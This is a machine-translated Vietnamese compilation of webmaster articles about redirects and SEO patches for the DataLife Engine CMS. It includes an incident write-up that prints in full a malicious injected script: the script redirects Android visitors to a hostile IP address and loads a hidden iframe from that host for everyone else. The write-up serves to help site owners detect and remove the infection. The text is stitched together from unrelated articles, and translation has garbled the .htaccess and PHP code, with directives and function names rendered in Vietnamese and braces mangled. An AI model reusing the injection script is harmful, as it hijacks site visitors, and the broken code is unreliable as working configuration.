Virus chuyển hướng DLE bất thường. Virus chuyển hướng bất thường trong DLE Chuyển hướng từ các liên kết có ký tự thừa hoặc kết thúc không chính xác đến địa chỉ chính xác
Tình trạng chủ đề: Đã đóng.
Trong .htaccess tôi thêm Redirect 301 /content/view/121/54/ http://www.site.ru/alan
Ví dụ: chúng tôi sẽ chuyển hướng những người đã tham gia bài kiểm tra đến www.test.com, những người còn lại đến enter.test.com (quan trọng là thứ tự các mục nhập
Lưu ý: với mục đích của tôi (thay đổi tên miền), tùy chọn đầu tiên của chuyển hướng 301 đơn giản là đủ.
2.
Sử dụng mod_rewrite (được viết trong tệp .htaccess
Vấn đề kinh điển về việc hợp nhất tên trang web có và không có www được giải quyết như sau:
Tùy chọn +Theo dõiSymLinks
RewriteEngine đang bật
RewriteCond %(HTTP_HOST) ^yoursite\.com
Quy tắc viết lại ^(.*)$ http://www.yoursite.com/$1 .
Hoặc cú pháp thay thế:
Tùy chọn +Theo dõiSymLinks
Bật lại công cụ
RewriteCond %(HTTP_HOST) ^domain\.com$
Quy tắc viết lại ^(.*)$ http://www.domain.com/$1
Ký hiệu này có nghĩa là: chuyển hướng máy khách và gửi cho nó mã trạng thái 301 (R=301) và đặt quy tắc này ở cuối (L).
Chuyển hướng tên miền cũ sang tên miền mới:
Tùy chọn +Theo dõiSymLinks
RewriteEngine đang bật
Quy tắc viết lại (.*) http://www.newdomain.com/$1
Ví dụ: nếu bạn muốn tải tệp rewrite.html thay vì rewrite.htm, hãy thêm vào .htaccess:
RewriteEngine đang bật
RewriteBase /
Quy tắc viết lại ^rewrite\.htm$ rewrite.html
Để thay thế tất cả các tệp .htm bằng tệp .html:
RewriteEngine đang bật
RewriteBase /
Quy tắc viết lại ^(.*)\.htm$ $1.html
3.
Chuyển hướng đến PHP:
Tốt hơn nên chỉ định HTTP/1.1 vì những phiên bản cũ hơn không hỗ trợ dịch vụ lưu trữ chia sẻ. Hãy nhớ rằng trước khi tiêu đề được gọi, không nên in gì cả (ví dụ: echo hoặc print). Vì vậy, tốt hơn là đặt mã này ở đầu tập lệnh PHP. Một phiên bản hoàn chỉnh hơn của chuyển hướng php với việc lưu các tham số cuộc gọi và trang được truyền:
4.
Chuyển hướng đến ASP
5.
Chuyển hướng đến ASP.NET
khoảng trống riêng tư Page_Load(người gửi đối tượng, System.EventArgs e)
{
Response.Status = "301 Đã được di chuyển vĩnh viễn";
Response.AddHeader("Vị trí","http://www.new-url.com");
}
6.
Chuyển hướng đến ColdFusion
7.
Chuyển hướng bằng cách sử dụng meta làm mới
Trong đó 0 là độ trễ chuyển hướng tính bằng giây, newdomain.com là trang mà chúng tôi sẽ chuyển hướng đến. Một số trình duyệt cũ hơn không hỗ trợ làm mới meta với giá trị 0; để tương thích, bạn có thể đặt nó thành giá trị khác 0, mặc dù theo tôi, điều này không còn phù hợp nữa. Việc chuyển hướng như vậy sẽ không thể gắn kết các trang web của bạn lại với nhau (có hoặc không có www) và chuyển PR, vì nó bị các công cụ tìm kiếm bỏ qua. Nó trả về mã 200 OK, đây là một trang bình thường. Kỹ thuật này phổ biến với những kẻ gửi thư rác, vì vậy nó chỉ nên được sử dụng cho các trang sẽ không được lập chỉ mục.
8.
Chuyển hướng bằng JavaScript
Các tùy chọn chuyển hướng JavaScript thường được triển khai bằng hàm setTimeout("function", delay).
Ví dụ: để tự động nhấp vào nút "Gửi" của biểu mẫu "biểu mẫu tìm kiếm" 0,1 giây sau khi tải mã:
SetTimeout("document.forms["searchform"].Submit.click()", 100);
Bạn có thể chỉ định bất kỳ hành động nào cho nút "Gửi", ví dụ: mở một URL mới trong cửa sổ này. Nhân tiện, những chuyển hướng như vậy phổ biến hơn khi tổ chức Dorways - trình duyệt của Người dùng sẽ được chuyển hướng đến một trang khác và một robot tìm kiếm “không hiểu” JavaScript sẽ lập chỉ mục trang này và người dùng không thể truy cập được trang này. Các nhà phát triển Doorway đăng văn bản lên đó, chứa đầy những từ khóa “cần thiết”.
Để chuyển hướng đơn giản đến một trang khác, bạn có thể chèn sau một trong các tùy chọn mã JavaScript:
* vị trí="http://www.newdomain.com";
* document.location.href="http://www.newdomain.com";
* window.location.reload("http://www.newdomain.com");
* document.location.replace("http://www.newdomain.com");
Trong trường hợp sau, bạn sẽ không thể quay lại trang đã thực hiện chuyển hướng nữa vì địa chỉ của nó đã bị xóa khỏi lịch sử, điều này thường là cần thiết. Nếu bạn cần trì hoãn thời gian, bạn có thể đăng ký location="http://www.newdomain.com"; dưới dạng một hàm và chèn nó vào setTimeout("function()", delay_in_ms); Chuyển hướng đến JavaScrupt không phải là chuyển hướng 301 và sẽ không chuyển PR của trang cũng như sẽ không thể đảm bảo việc hợp nhất trang đó.
Chúng ta hãy lưu ý thêm một số tính năng của chuyển hướng:
* Các phương thức chuyển hướng bằng .htaccess chỉ hoạt động trên các máy chủ Linux có Apache đã bật mô-đun Mod-Rewrite.
* Việc sử dụng .htaccess sẽ tạo thêm tải trên máy chủ Apache; sẽ hiệu quả hơn khi viết các lệnh tương tự trong tệp cấu hình hpptd.conf của nó, nhưng theo quy định, quản trị viên web không có quyền truy cập vào nó.
* Chuyển hướng 301 cho phép bạn lưu lượng truy cập và chuyển các trang PR đến các công cụ tìm kiếm (chắc chắn là đối với Google).
* Quá trình dán và chuyển PR mất nhiều thời gian - lên đến vài tháng và cũng phụ thuộc vào công cụ tìm kiếm, vì vậy đừng xóa trang hoặc trang cũ cho đến khi quá trình chuyển cuối cùng diễn ra.
* một số công cụ tìm kiếm yêu cầu cài đặt bổ sung để hợp nhất các trang web, ví dụ: đối với Yandex, bạn cần chỉ định thêm robots.txt
Phần kết luận. Một cách an toàn để chuyển hướng các trang cũ sang trang mới hoặc trang web cũ sang địa chỉ mới mà vẫn duy trì vị trí trong công cụ tìm kiếm là sử dụng chuyển hướng 301, điều này cũng sẽ cho phép bạn chuyển Xếp hạng Trang cũ của trang sang trang mới. địa điểm.
Bạn có thể đọc thêm về mod_rewrite tại:
Tôi có một trang web trên DataLife Engine và tôi quyết định thay đổi hồ sơ của nó. Không triệt để, chỉ thu hẹp chủ đề một chút. Để làm được điều này, tôi cần xóa hơn một nửa nội dung không liên quan đến chủ đề này khỏi trang web. Tôi bắt đầu dọn dẹp dần dần các trang, thay thế nội dung của chúng bằng nội dung mới. Nhưng chúng tôi vẫn phải thay đổi cấu trúc URL và do đó, lưu lượng truy cập xuất hiện trong bảng quản trị trang web và vị trí tìm kiếm trong một chủ đề hẹp đã giảm xuống. Ngoài ra, tôi nhận thấy có các liên kết đến các trang đã bị xóa khỏi các diễn đàn và dịch vụ như otvet.mail.ru. Khi di chuyển từ các trang này, lỗi 404 đã được trả về Ngoài thực tế kỹ thuật này, các yếu tố tiêu cực khác theo sau - liên kết bị mất, các chỉ số hành vi bị giảm và theo tôi, một số hậu quả tiêu cực khác.
Tôi quyết định khắc phục điều này bằng một phương pháp tàn bạo - không đưa ra lỗi 404 cho tất cả các trang đã xóa mà thực hiện chuyển hướng 301 đến trang chính. Trong CMS DLE, để thực hiện hack này, bạn cần tìm mã trong tệp /engine/modules/show.full.php:
| elseif ( ! $news_found ) ( @ tiêu đề ("Không tìm thấy HTTP/1.0 404" ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "news_err_12" ] ) ; ) |
elseif(! $news_found) ( @header("HTTP/1.0 404 Not Found"); msgbox($lang["all_err_1"], $lang["news_err_12"]); )
và thay thế nó bằng
// 301 chuyển hướng đến trang chính nếu không tìm thấy/không tồn tại tin tức elseif(! $news_found) ( header("HTTP/1.0 301 Đã di chuyển vĩnh viễn"); header("Location: ($config["http_home_url"] )"); die("Redirect" ) // 301 chuyển hướng đến trang chính nếu không tìm thấy/không tồn tại tin tức
Giờ đây, mỗi khi robot tìm kiếm liên hệ với nó, nó sẽ nhận được thông báo rằng thông tin từ trang này đã được chuyển vĩnh viễn về trang chính và tất cả link juice đi đến các trang từ xa sẽ được phân phối lại về trang chính.
Khách truy cập từ các trang từ xa sẽ được chuyển hướng đến trang chính và hy vọng sau đó họ sẽ quyết định sử dụng tìm kiếm.
Bây giờ tôi sẽ mô tả logic chuyển hướng tương tự, nhưng không phải cho tin tức mà cho các danh mục. Mở tệp /engine/engine.php và tìm mã:
| if (! $category_id ) $category_id = "không được phát hiện" ; |
if (!$category_id) $category_id = "không được phát hiện";
mà chúng tôi thay thế bằng
| if ($config [ "allow_alt_url" ] == "yes" AND ! $category_id AND $view_template != "rss" ) ( tiêu đề ("HTTP/1.0 301 Đã di chuyển vĩnh viễn" ) ; tiêu đề ("Vị trí: ($config[" http_home_url"]) " ) ; die ("Chuyển hướng" ) // giải quyết vấn đề với các danh mục không tồn tại |
// giải quyết vấn đề với các danh mục không tồn tại if ($config["allow_alt_url"] == "yes" AND ! $category_id AND $view_template != "rss") ( header("HTTP/1.0 301 Đã di chuyển vĩnh viễn") ; header("Location: ($config["http_home_url"])"); die("Redirect");
Tất cả. Bây giờ điều tương tự sẽ hoạt động đối với các danh mục DLE đã xóa.
Đã có nhiều tình huống được mô tả trên Internet trong đó những kẻ tấn công đã lây nhiễm vi-rút vào một trang web trên DLE (Data Life Engine) và chuyển hướng nó sang một miền khác. Bài viết này sẽ nói về một trong những vụ hack trang web này, nhưng bạn khó có thể tìm thấy mô tả về loại lây nhiễm này - một loại vi-rút độc nhất được chú ý lần đầu tiên.
Không thể có được dữ liệu chính xác về nguồn lây nhiễm. Theo các tệp được tìm thấy đã được tải lên thư mục UPLOADS, cũng không tìm thấy gì cụ thể.
Mật khẩu từ bảng quản trị lưu trữ hoặc trang web có thể đã bị đánh cắp. Không có tài khoản FTP nào được sử dụng trên trang web.
Chuyển hướng bất thườngSự hiện diện của virus này lần đầu tiên được Yandex báo cáo trên thanh công cụ Quản trị trang web vào Chủ nhật, ngày 16 tháng 11. Tất cả trông như thế này:
Tìm kiếm virus trên trang webĐể tìm ra virus, một tập lệnh đặc biệt Ai-bolit đã được sử dụng. Vì kích thước của trang web vượt quá 1 Gigabyte nên không thể quét tệp để tìm vi-rút trực tiếp trên máy chủ (không có đủ thời gian thực hiện).
Sau khi tải kho lưu trữ của trang web xuống đĩa cục bộ, quá trình quét đã được khởi chạy, kết quả khá đáng ngạc nhiên - không tìm thấy gì đáng ngờ trong các tệp, nhưng trang web vẫn được chuyển hướng đến miền có nội dung tục tĩu hoặc tải xuống phần mềm đáng ngờ.
Khi truy cập trang web từ điện thoại di động chạy hệ điều hành Android, người dùng sẽ tự động được chuyển hướng đến trang sau:
Hoặc thế này:
Nhìn vào từng tệp riêng biệt, cũng không thể xác định được mối đe dọa.
Cách tìm một chuyển hướng bị nhiễm DLE như vậyRất tình cờ, trong mẫu main.tpl, ở cuối tệp có phần mở rộng . Ngay trong mã của widget tư vấn trực tuyến đã có đoạn mã sau:
(function())( var widget_id = 632565; _shcp =[(widget_id: widget_id)]; var lang =(navigator.lingu || navigator.systemLanguage || navigator.userLanguage ||"en") .substr(0,2 ) .toLowerCase(); var url ="widget.siteheart.com/widget/sh/"+ widget_id +"/"+ lang +"/widget.js"; ="text/javascript"; hcc.async =true; hcc.src =("https:"== document.location.protocol ?https://http") +"://"+ var s; = document. getElementsByTagName("script"); s.parentNode.insertBefore(hcc, s.nextSibling ))();
Dòng áp chót có vẻ đáng ngờ, cụ thể là thư viện JQuery.ui.js vô hại đã được tải từ một địa chỉ khó hiểu được viết dưới dạng IP.
Đi đến địa chỉ này chúng ta nhận được như sau:
If(!getCookie("google__analytics__"))( var Gate = "http://5.61.34.53/jquery/jquery.php"; var hôm nay = ngày mới(), ngày mai = ngày mới(); ngày mai.setDate(hôm nay .getDate() + 1); setCookie("google__analytics__", 1, Tomorrow.toGMTString()); var ua = navigator.userAgent.toLowerCase(); if(ua.indexOf("android") > -1) cửa sổ. location = cổng; khác( var el = document.createElement("iframe"); document.body.appendChild(el); el.id = "iframe"; el.style.width = 0; el.style.height = 0 ; el.src = "http://5.61.34.53/2c24"; ) hàm setCookie (tên, giá trị, hết hạn, đường dẫn, tên miền, bảo mật) ( document.cookie = name + "=" + escape(value) + ( (hết hạn) ? "; hết hạn=" + hết hạn: "") + ((đường dẫn) ? "; path=" + đường dẫn: "") + ((tên miền) ? "; tên miền=" + tên miền: "") + ((an toàn) ? "; an toàn" : "" ) hàm getCookie(name) ( var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0 ; var end = 0; if (cookie.length > 0) ( offset = cookie.indexOf(search); if (offset != -1) ( offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) ( end = cookie.length; ) setStr = unescape(cookie. chuỗi con(offset, end)); return(setStr); )
Chính dòng lệnh này đã gây ra chuyển hướng. Bằng cách xóa nó và thay đổi mật khẩu trên trang web và lưu trữ, vấn đề đã biến mất.
Chính xác thì virus chuyển hướng này khác với các loại lây nhiễm khác như thế nào?Việc tìm kiếm các tệp trang web bằng NotePad để tìm sự xuất hiện của eval, base64 và các tệp khác là vô ích. Việc kiểm tra trang web bằng phần mềm chống vi-rút (tất cả những phần mềm đã biết) là vô ích. Kiểm tra bằng Ai-bolit cũng sẽ không mang lại kết quả.
Chỉ ở chế độ thủ công với chế độ xem độc lập, bạn mới có thể thấy kết quả, vì vi-rút được tải xuống không phải từ chính trang web mà từ nguồn bên ngoài. Để tránh bị hack trang web như vậy, đừng bao giờ lưu trữ thông tin đăng nhập và mật khẩu trong trình duyệt, đặt chúng thành nhiều âm tiết và không sử dụng tên người dùng quản trị viên ADMIN. Hãy chăm sóc các trang web của bạn trên DLE!
Xin chào các bạn. Cuối cùng cũng đến lúc phần ba của hướng dẫn tối ưu hóa DLE lớn của tôi.
Bây giờ tôi mới kinh hoàng nhận ra rằng phần thứ hai trước đó của hướng dẫn đã được xuất bản cách đây hơn sáu tháng!
Theo truyền thống đã được thiết lập, chúng ta sẽ nói về, và cụ thể trong phần này tôi sẽ nói về một số tính năng của công cụ cũng như các tính năng và thủ thuật nhỏ nhưng rất hữu ích không phù hợp với định dạng trong các phần trước.
Phần này cũng liên quan đến địa chỉ trang, nhưng không giống như phần thứ hai, nơi chúng tôi xử lý các trang trùng lặp và loại bỏ sự xuất hiện của chúng, trong phần này chúng tôi sẽ xem xét cách loại bỏ các trang không tồn tại xuất hiện do xóa hoặc do lỗi. lỗi trong địa chỉ.
Bài viết được cập nhật ngày 6 tháng 5 năm 2014:
Những thay đổi đối với động cơ đã được cập nhật, hỗ trợ cho các phiên bản mới của động cơ đã được thêm vào.
Phù hợp với các phiên bản DLE sau: 7.x, 8.x, 9.x, 10.x!
Các phần khác của hướng dẫn SEO:
Phần 1, Tối ưu hóa tiêu đề -
Phần 2, Chống trùng lặp nội dung -
Phần 4, Fix cho DLE phiên bản 9.3, 9.4, 9.5, 9.6 -
Thủ thuật này được phát minh theo đúng nghĩa đen ngày hôm nay, khi tôi tìm thấy rất nhiều lỗi 404 trên một trong các trang web trong bảng quản trị trang web.
Hãy lấy một tình huống rất thực tế - vì lý do nào đó bạn quyết định thay đổi số lượng tin tức hiển thị trên trang chính hoặc trang chuyên mục. Điều gì đã xảy ra với tôi: thiết kế lại trang web; cấu trúc trang đã thay đổi hoàn toàn; người ta đã quyết định hiển thị nhiều thông báo tin tức ngắn hơn trên mỗi trang (từ 7 đến 10). Kết quả như sau: nhiều trang bị lỗi 404 xuất hiện trong bảng quản trị trang web. Tính toán đơn giản, trên trang có 1000 tin tức, mỗi trang hiển thị 7 thông báo, do đó, riêng trang chính chúng ta có 1000/7=142 trang phân trang. Sau khi thay đổi, có đúng 100 trang. Kết quả là 42 trang đã biến mất. Và nếu chúng ta lấy một danh mục khác, thì đã có một trăm hoặc hai trang không tồn tại. Nó tệ, xấu xí và chẳng có tác dụng gì cả.
Mở tệp /engine/modules/show.short.php và ở phía dưới cùng, chúng tôi tìm thấy:
| } ?> |
TRÊN chúng tôi thêm:
| $all_pages_count = @ceil ( $count_all / $config [ "news_number" ] ); if ($cstart > $all_pages_count ) ( if ($all_pages_count > 1 ) ( header () ; header ("Location: " . $url_page . "/page/" . $all_pages_count . "/" ) ; die () ; ) else ( tiêu đề ("HTTP/1.1 301 đã được di chuyển vĩnh viễn" ); tiêu đề ("Vị trí: " . $url_page . "/" ) ; die () ; ) ) // chuyển hướng đến trang cuối cùng nếu url chỉ định một trang lớn hơn tối đa hiện có |
//chuyển hướng đến trang cuối cùng nếu url chỉ định một trang lớn hơn trang tối đa hiện có $all_pages_count = @ceil($count_all / $config["news_number"]); if ($cstart > $all_pages_count) ( if ($all_pages_count > 1) ( header("HTTP/1.1 301 Đã di chuyển vĩnh viễn"); tiêu đề ("Vị trí: " . $url_page . "/page/" . $all_pages_count . "/ "); die(); ) else ( header("HTTP/1.1 301 Đã di chuyển vĩnh viễn"); header ("Vị trí: " . $url_page . "/"); die(); ) ) //chuyển hướng đến trang cuối cùng , nếu url chứa một trang lớn hơn trang hiện có tối đa
Hãy để tôi giải thích mã một chút: một điều kiện được kiểm tra - nếu số trang hiện tại lớn hơn số trang tối đa trên trang web (hoặc trong danh mục), thì sẽ xảy ra chuyển hướng đến trang cuối cùng. Nếu trang số 2 được yêu cầu và chỉ có một trang thì sẽ xảy ra chuyển hướng đến trang chính (hoặc trang chính của danh mục).
Một ví dụ đơn giản: ai đó yêu cầu một trang từ site.ru/page/435/, nhưng trang này chỉ có 268 trang, do đó, sẽ có chuyển hướng đến site.ru/page/268/.
Chuyển hướng từ các trang phân trang bình luận không tồn tại sang trang sửaMức độ liên quan: Chỉ các phiên bản DLE 8.x, 9.x. Không liên quan đến DLE 10.x, bởi vì đã được thực hiện trong chính động cơ.
Tình huống tương tự với việc phân trang trong bình luận. Ví dụ: có thể nảy sinh một tình huống là bạn bị spam trong các bình luận, các công cụ tìm kiếm lập chỉ mục tất cả các trang bình luận, sau đó bạn nhận thấy điều này và xóa tất cả các bình luận. Nhưng các trang mà công cụ tìm kiếm đã lập chỉ mục sẽ vẫn còn, chỉ là không có bình luận nào được hiển thị trên đó mà là một bản sao hoàn toàn của trang tin tức chính. Và điều này thật đáng buồn, nó cần phải được sửa chữa!
Mở tệp /engine/classes/comments.class.php và ở phía dưới cùng, chúng tôi tìm thấy:
| } } ?> |
TRÊN chúng tôi thêm:
//chuyển hướng đến trang nhận xét cuối cùng nếu url chỉ định một trang lớn hơn trang hiện có tối đa if ($this->cstart > $enpages_count) ( header("HTTP/1.1 301 Đã di chuyển vĩnh viễn"); header("Location: " . $url ); die(); ) //chuyển hướng đến trang nhận xét cuối cùng nếu url chứa một trang lớn hơn trang tối đa hiện có
Chà, bây giờ mọi thứ đã ổn định, bạn có thể kiểm tra nó.
Chuyển hướng từ các liên kết có thêm ký tự hoặc kết thúc không chính xác đến địa chỉ chính xácMức độ liên quan: Tất cả các phiên bản của DLE. Đã thử nghiệm trên 7.x, 8.x, 9.x, 10.x.
Trước đây, có một giải pháp rất phức tạp phụ thuộc vào phiên bản của động cơ. Nhưng kể từ khi viết bài đăng này, tôi đã nâng cấp kỹ năng của mình đủ để tạo ra một giải pháp chung cho tất cả các phiên bản DLE và nói chung là hoàn toàn cho mọi công cụ hoặc bất kỳ trang web nào!
Mở .htaccess, nằm trong thư mục gốc và tìm:
RewriteBase / RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteCond %(REQUEST_URI) ^(.*)\.html(.+) RewriteCond %(REQUEST_URI) ^(.*)\.htm$ RewriteCond %(REQUEST_URI) ^(.*)\.ht$ RewriteCond %(REQUEST_URI) ^(.*)\.h$ RewriteCond %(REQUEST_URI) ^(.*)\.$ RewriteRule ^(.*)\.(. *) $1.html
Bất kể loại CNC đã chọn là gì, khi nhấp vào bất kỳ liên kết “quanh co” nào, khách truy cập sẽ đến nơi mà anh ta phải đến.
Chuyển hướng từ các phần hoặc danh mục không còn tồn tại về trang chínhMức độ liên quan: Tất cả các phiên bản của DLE. Đã thử nghiệm trên 7.x, 8.x, 9.x, 10.x.
Một ví dụ từ cuộc sống: bạn quyết định thay đổi cấu trúc của trang web hoặc đơn giản là xóa một số danh mục vì không cần thiết, do đó, những trang này sẽ không còn tồn tại, nhưng các liên kết đến chúng có thể vẫn còn ở đâu đó. Ví dụ: trên emofans, tôi từng có blog dành cho người dùng, có tại site.ru/blog/ và chúng được chia thành những người dùng, như site.ru/blog/user1/, site.ru/blog /user2/, v.v. Đã nhiều năm kể từ khi tôi phá hủy những blog này vì lý do không cần thiết, nhưng các liên kết đến chúng và lỗi vẫn tồn tại trong bảng quản trị trang web.
Chỉnh sửa này cũng sẽ cho phép chúng tôi tránh xuất hiện các địa chỉ trang tin tức đầy đủ mà không có phần mở rộng ở cuối hoặc thậm chí là các địa chỉ tin tức đầy đủ khi toàn bộ phần URL bị thiếu ở cuối. Do đó, kết hợp với điểm trước, những thay đổi này sẽ giúp 99% tránh xuất hiện các địa chỉ không chính xác và không mong muốn.
Mở tệp /engine/engine.php và tìm:
| if (! $category_id ) $category_id = "không được phát hiện" ; |
if (!$category_id) $category_id = "không được phát hiện";
THAY THẾ BẰNG:
// giải quyết vấn đề với các danh mục không tồn tại if (!$category_id AND $view_template != "rss") ( header("HTTP/1.0 301 Đã di chuyển vĩnh viễn"); header("Location: ($config["http_home_url" ] )"); die("Redirect"); ) // giải quyết vấn đề với các danh mục không tồn tại
Chuyển hướng các ấn phẩm không có ID về trang chínhMức độ liên quan: Tất cả các phiên bản của DLE. Đã thử nghiệm trên 7.x, 8.x, 9.x, 10.x.
Một câu chuyện có thật khác được lấy từ trang web của tôi. Trong bảng quản trị trang web có nhiều trang bị lỗi 404 như site.ru/category/subcat/page-name.html, nhưng theo quy định thì nó phải giống như site.ru/category/subcat/123-page_name.html. Thành thật mà nói, tôi vẫn không hiểu làm thế nào và tại sao ID tin tức lại biến mất và ai đã đề cập đến các ấn phẩm theo cách này. Tôi chưa bao giờ sử dụng bất kỳ mô-đun hoặc thủ thuật nào để xóa mã nhận dạng của nó khỏi URL, vì vậy tôi đổ lỗi cho những người dùng đã “quanh co” đặt liên kết trong blog của họ tới trang web của tôi. Được rồi, điều này không còn quan trọng nữa mà quan trọng là phải giải quyết vấn đề này!
Chỉ dành cho phiên bản DLE 10.x (cũng như 9.5, 9.6, 9.7 và 9.8)Phiên bản mới của mã, ngoài việc chuyển hướng các địa chỉ “có vấn đề” của các trang tin tức đầy đủ, còn chuyển hướng các trang tĩnh không tồn tại hoặc đã bị xóa về trang chính. Điều này là do logic thay đổi trong động cơ. Một mặt, điều này có lẽ là tốt, bởi vì chúng ta giải quyết được hai vấn đề cùng một lúc. Mặt khác, ban đầu động cơ tạo ra lỗi 404 thông thường - nếu bạn hài lòng với tình trạng này thì đừng thực hiện các thay đổi được mô tả trong đoạn này.
Mở tệp /engine/modules/static.php và tìm ở cuối:
| @header("Không tìm thấy HTTP/1.0 404"); $lang [ "static_page_err" ] = str_replace ("(trang)" , $name . ".html" , $lang [ "static_page_err" ] ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "static_page_err" ] ) ; |
@header("Không tìm thấy HTTP/1.0 404"); $lang["static_page_err"] = str_replace("(page)", $name.".html", $lang["static_page_err"]); msgbox($lang["all_err_1"], $lang["static_page_err"]);
THAY THẾ BẰNG:
// 301 chuyển hướng đến trang chính từ địa chỉ của các trang tin tức nơi id đã biến mất, cũng như tiêu đề trang tĩnh không tồn tại ("HTTP/1.0 301 Đã di chuyển vĩnh viễn"); header("Vị trí: ($config["http_home_url"])"); die("Chuyển hướng"); // 301 chuyển hướng đến trang chính từ địa chỉ của các trang tin tức nơi id đã biến mất, cũng như các trang tĩnh không tồn tại
Giải pháp cũ. Chỉ dành cho các phiên bản DLE 7.x, 8.x, 9.0, 9.2 và 9.3Tất cả các địa chỉ có chứa .html ở cuối và không chứa ID sẽ được chuyển hướng đến trang chính. Các trang tĩnh hiện có và chính xác, mặc dù chúng cũng không có ID trong URL, sẽ không được chuyển hướng mà sẽ hoạt động như trước.
Mở tệp /engine/engine.php và tìm:
| if ($subaction == "" ) $subaction = "showfull" ; ) |
if ($subaction == "") $subaction = "showfull"; )
Chúng tôi thêm DƯỚI ĐÂY:
| if ( ( $config [ "allow_alt_url" ] == "yes" ) && (strpos ($_SERVER [ "REQUEST_URI" ] , ".html" ) !== false ) && ($dle_module == "main" ) ) ( tiêu đề ("HTTP/1.0 301 được di chuyển vĩnh viễn" ); tiêu đề ("Vị trí: ($config["http_home_url"] ); die ("Chuyển hướng" ) ; // 301 chuyển hướng đến trang chính từ địa chỉ của các trang tin tức nơi nó biến mất. |
// 301 chuyển hướng đến trang chính từ địa chỉ của các trang tin tức thiếu id if (($config["allow_alt_url"] == "yes") && (strpos($_SERVER["REQUEST_URI"], ".html ") !== false) && ($dle_module == "main")) (header("HTTP/1.0 301 Đã di chuyển vĩnh viễn"); header("Location: ($config["http_home_url"])"); die( "Redirect"); ) // 301 chuyển hướng đến trang chính từ địa chỉ của các trang tin tức thiếu id
Chuyển hướng tin tức đã xóa hoặc không tồn tại về trang chủMức độ liên quan: Tất cả các phiên bản của DLE. Đã thử nghiệm trên 7.x, 8.x, 9.x, 10.x.
Vâng, đây là một tình huống tiêu chuẩn và có thể xảy ra trên bất kỳ trang web nào. Bạn đã xóa một số tin tức và tất nhiên lỗi 404 sẽ hiển thị. Nếu bạn không hài lòng với điều này, cụ thể là lỗi 404 được hiển thị, thì bạn có thể thực hiện chuyển hướng 301 đến trang chính của trang, chẳng hạn, lỗi này chắc chắn tồn tại;)
Mở tệp /engine/modules/show.full.php và tìm:
| elseif ( ! $news_found ) ( @ tiêu đề ("Không tìm thấy HTTP/1.0 404" ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "news_err_12" ] ) ; ) |
elseif(! $news_found) ( @header("HTTP/1.0 404 Not Found"); msgbox($lang["all_err_1"], $lang["news_err_12"]); )
THAY THẾ BẰNG:
// 301 chuyển hướng đến trang chính nếu không tìm thấy/không tồn tại tin tức elseif(! $news_found) ( header("HTTP/1.0 301 Đã di chuyển vĩnh viễn"); header("Location: ($config["http_home_url"] )"); die("Redirect" ) // 301 chuyển hướng đến trang chính nếu không tìm thấy/không tồn tại tin tức
Bây giờ, khi bạn truy cập một ấn phẩm không tồn tại hoặc đã bị xóa, bạn sẽ được chuyển hướng đến trang chính của trang web.
Nói chung các bạn ơi, mình có một bài riêng rất lớn về .
Tôi khuyên bạn nên tự làm quen với nó, bất kể bạn chỉ làm việc với DLE hay một số CMS khác.
Mức độ liên quan: Tất cả các phiên bản của DLE. Đã thử nghiệm trên 7.x, 8.x, 9.x, 10.x.
Vì vậy, hãy nhớ rằng, gần đây tôi đã xuất bản một bài đăng về , trong đó tôi đã nói rằng không khó để đóng các trang khỏi lập chỉ mục bằng robots.txt nhưng đóng chúng bằng . Tôi thực sự khuyên bạn nên đọc bài viết này.
Nếu bạn không cảm thấy tự tin, tôi khuyên bạn nên sử dụng nó! Với mô-đun này, bạn sẽ không gặp sai sót ở bất cứ đâu và không phải thực hiện bất kỳ thay đổi nào sau mỗi lần cập nhật động cơ.
Mở tệp /engine/engine.php đã yêu thích, tìm dòng vô dụng và xóa nó:
if ($config["allow_rss"]) $metatags .=
